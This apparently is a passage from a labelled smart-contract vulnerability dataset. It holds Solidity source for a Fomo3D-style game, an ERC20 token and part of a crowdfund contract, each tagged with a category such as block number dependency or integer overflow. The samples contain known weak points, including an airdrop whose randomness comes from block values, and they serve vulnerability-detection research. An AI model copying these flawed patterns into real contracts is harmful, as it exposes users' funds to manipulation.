} else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000001 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); team.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) { team.transfer(_p3d); } _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d = 0; team.transfer(_com); uint256 _aff = _eth / 5; if (_affID != _pID && plyr_[_affID].name != """") { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { team.transfer(_p3d); _p3d = 0; _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(23)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x3C21550C76B9C0Eb32ceA5f7ea71d54f366961a1 || msg.sender == 0x3123AD3e691bC320aaCC8ab91A0E32A7eE4C4b9a, ""only team can activate"" ); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1031.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Payiza is BurnableToken, Ownable { string public constant name = ""Payiza Exchange""; string public constant symbol = ""PYZ""; uint public constant decimals = 8; uint256 public constant initialSupply = 330000000 * (10 ** uint256(decimals)); function Payiza() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } }",./Dataset/integer overflow (OF)/,4,4 39749.sol,"pragma solidity ^0.4.2; /* * @notice the token contract used as reward */ contract token { /* * @notice exposes the transfer method of the token contract * @param _receiver address receiving tokens * @param _amount number of tokens being transferred */ function transfer(address _receiver, uint _amount) returns (bool success) { } /* * @notice exposes the priviledgedAddressBurnUnsoldCoins method of the token contract * burns all unsold coins */ function priviledgedAddressBurnUnsoldCoins(){ } } /* `* is owned */ contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function ownerTransferOwnership(address newOwner) onlyOwner { owner = newOwner; } } /* * safe math */ contract DSSafeAddSub { function safeToAdd(uint a, uint b) internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal returns (uint) { if (!safeToAdd(a, b)) throw; return a + b; } function safeToSubtract(uint a, uint b) internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) internal returns (uint) { if (!safeToSubtract(a, b)) throw; return a - b; } } /* * EtherollCrowdfund contract * Funds sent to this address transfer a customized ERC20 token to msg.sender for the duration of the crowdfund * Deployment order: * EtherollToken, EtherollCrowdfund * 1) Send tokens to this * 2) Assign this as priviledgedAddress in EtherollToken * 3) Call updateTokenStatus in EtherollToken * -- crowdfund is open -- * 4) safeWithdraw onlyAfterDeadline in this * 5) ownerBurnUnsoldTokens onlyAfterDeadline in this * 6) updateTokenStatus in EtherollToken freezes/thaws tokens */ contract EtherollCrowdfund is owned, DSSafeAddSub { /* * checks only after crowdfund deadline */ modifier onlyAfterDeadline() { if (now < deadline) throw; _; } /* * checks only in emergency */ modifier isEmergency() { if (!emergency) throw; _; } /* the crowdfund goal */ uint public fundingGoal; /* 1 week countdown to price increase */ uint public weekTwoPriceRiseBegin = now + 10080 * 1 minutes; /* 80% to standard multi-sig wallet contract is house bankroll */ address public bankRollBeneficiary; /* 20% to etheroll wallet*/ address public etherollBeneficiary; /* total amount of ether raised */ uint public amountRaised; /* two weeks */ uint public deadline; /* 0.01 ETH per token base price */ uint public price = 10000000000000000; /* address of token used as reward */ token public tokenReward; /* crowdsale is open */ bool public crowdsaleClosed = false; /* 80% of funds raised */ uint public bankrollBeneficiaryAmount; /* 20% of funds raised */ uint public etherollBeneficiaryAmount; /* map balance of address */ mapping (address => uint) public balanceOf; /* funding goal has not been reached */ bool public fundingGoalReached = false; /* escape hatch for all in emergency */ bool public emergency = false; /* log events */ event LogFundTransfer(address indexed Backer, uint indexed Amount, bool indexed IsContribution); event LogGoalReached(address indexed Beneficiary, uint indexed AmountRaised); /* * @param _ifSuccessfulSendToBeneficiary receives 80% of ether raised end of crowdfund * @param _ifSuccessfulSendToEtheroll receives 20% of ether raised end of crowdfund * @param _fundingGoalInEthers the funding goal of the crowdfund * @param _durationInMinutes the length of the crowdfund in minutes * @param _addressOfTokenUsedAsReward the token address */ function EtherollCrowdfund( /* multi-sig address to send 80% */ address _ifSuccessfulSendToBeneficiary, /* address to send 20% */ address _ifSuccessfulSendToEtheroll, /* funding goal */ uint _fundingGoalInEthers, /* two weeks: 20160 minutes*/ uint _durationInMinutes, /* token */ token _addressOfTokenUsedAsReward ) { bankRollBeneficiary = _ifSuccessfulSendToBeneficiary; etherollBeneficiary = _ifSuccessfulSendToEtheroll; fundingGoal = _fundingGoalInEthers * 1 ether; deadline = now + _durationInMinutes * 1 minutes; tokenReward = token(_addressOfTokenUsedAsReward); } /* * @notice public function * default function is payable * 